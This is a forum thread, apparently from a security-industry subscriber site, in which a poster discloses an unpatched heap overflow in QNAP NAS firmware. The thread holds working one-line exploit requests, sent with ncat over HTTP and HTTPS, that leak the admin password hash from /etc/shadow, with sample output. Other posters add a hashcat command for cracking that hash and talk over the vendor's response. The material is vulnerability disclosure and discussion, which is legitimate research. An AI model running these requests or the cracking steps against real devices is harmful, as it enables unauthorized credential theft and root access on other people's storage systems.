Subscriber Discussion

0-Day Critical Vulnerability In QNAP

QNAP Critical Vulnerability:

QNAP NAS devices suffer from a critical Heap Overflow in "cgi.cgi" and non critical stack crash in "jc.cgi and mediaGet.cgi".

Successful exploitation of this heap overflow vulnerability can lead to unauthorised root (admin) privileges on QNAP devices with anonymous access. (no credential needed to exploit) 

 

Agree
Disagree
Informative: 3
Unhelpful
Funny

#1, thanks for sharing. I edited the title and inserted the summary into the opening to make it clear. Let me know if that works.

I'd email someone at QNAP but I don't know who to speak with. It has been so long since I talked to anyone at QNAP and I am not sure who is there.

Agree
Disagree
Informative
Unhelpful
Funny
Agree
Disagree
Informative
Unhelpful
Funny
Agree
Disagree
Informative
Unhelpful
Funny

So is there input sanitizing/bounds checking of the GET string, and that's the reason to inline the backquoted loop?

Agree
Disagree
Informative
Unhelpful
Funny

For most of them, yes there is, but these lacking of some proper checkins.

The loops are only to easily get up to required chars to trigger things, instead of "manually type" +4000 chars. 

(It's actually one and same binary, but mentioned function are symlinked to the main binary (authLogin.cgi).

authLogout.cgi -> authLogin.cgi*
cgi.cgi -> authLogin.cgi*
jc.cgi -> authLogin.cgi*
language.cgi -> authLogin.cgi*
mediaGet.cgi -> authLogin.cgi*
qnapmsg.cgi -> authLogin.cgi*
sysinfoReq.cgi -> authLogin.cgi*

Below is also requests (base64 encoded) to retrieve the admin password (loaded in heap at address 0x0806ce56) that's loaded on heap from /etc/shadow.

Tested with my own device "QNAP TS-251+" and loaded with latest FW Version 4.2.2 (Build 20161214)

[HTTPS]
# echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "B";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0` HTTP/1.0\nHost: BUG\n\n" | ncat --ssl 192.168.5.7 443 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
#

[HTTP]
#
echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=`for((i=0;i<4467;i++));do echo -en "\xff";done | base64 -w 0 ; echo -en "D\x56\xce\x06\x08" | base64 -w 0` HTTP/1.0\n\n" | ncat 192.168.5.7 8081 | grep glibc
*** glibc detected *** $1$$8lBa9PhdBbp9/AeeTXXXXX: free(): invalid next size (normal): 0x0806e510 ***
#

Agree
Disagree
Informative
Unhelpful
Funny

Is this heap overflow bug a known CVE specific to glibc or is the cgi.cgi erroneously overwriting memory first?

Agree
Disagree
Informative
Unhelpful
Funny

QNAP's coding lacks of proper checkins, nothing to do with glibc, it's looks like that when checking the BT, but it's not.

Agree
Disagree
Informative
Unhelpful
Funny
Agree
Disagree
Informative
Unhelpful
Funny

#1, what do you think of QNAP's response?

internal investigations have shown that the vulnerability is not easily exploited

Agree
Disagree
Informative
Unhelpful
Funny

Remotely execute code (aka bind/remote shell) is highly unlikely (I would even dare to say impossible), but read the password hash and crackable with "John" - that's one step below - is fully functional.

Only difference between these two is time.

Agree: 1
Disagree
Informative
Unhelpful
Funny

Eh, not "John Honovich" but "John The Ripper" :)

Sorry for the confusion... 

Agree
Disagree
Informative
Unhelpful
Funny

Eh, not "John Honovich" but "John The Ripper" :)

John the Ripper rips faster, but John the Blogger rips funnier.

Agree
Disagree
Informative
Unhelpful
Funny
XXXXX=?????
Agree
Disagree
Informative
Unhelpful
Funny

password hash masking, to confuse you and John the Ripper :)

Agree
Disagree
Informative
Unhelpful
Funny

XXXXX != 0-day

Agree
Disagree
Informative
Unhelpful
Funny

*yawn*

Agree
Disagree
Informative
Unhelpful
Funny

*yawn*

I know it can be tiring waiting for jtr to finish...

Pro tip:

#kill -9 john 

Process Terminated.

#hashcat64 -a3 -m500 -w3

Agree
Disagree
Informative
Unhelpful
Funny

Fujitsu has available patched FW for newer HW since 10/01/2017, QNAP not yet for QTS 4.x & QVR 5.x

 

SRC=FTS_FirmwareQR806_42320170110_1174887.IMG, DEST=QR806_42320170110
----------------------------------------------
decrypting 'FTS_FirmwareQR806_42320170110_1174887.IMG' to 'QR806_42320170110/FTS_FirmwareQR806_42320170110_1174887.IMG.tgz' using PC1 tool ...
Using 120-bit encryption - (QNAPNASVERSION4)
len=1048576
model name = QR806
version = 4.2.3
----------------------------------------------
extracting 'QR806_42320170110/FTS_FirmwareQR806_42320170110_1174887.IMG.tgz' into 'QR806_42320170110/fw'...

Agree
Disagree
Informative
Unhelpful
Funny
Agree
Disagree
Informative
Unhelpful
Funny
Agree
Disagree
Informative
Unhelpful
Funny

So, in the demo, its just admin:admin?

SFL = SecureFuzzingLayer :)

Agree
Disagree
Informative
Unhelpful
Funny

Yep, default password for Admin ;)

Good one, I like SFL ;)

 

Agree
Disagree
Informative: 1
Unhelpful
Funny
Agree
Disagree
Informative
Unhelpful
Funny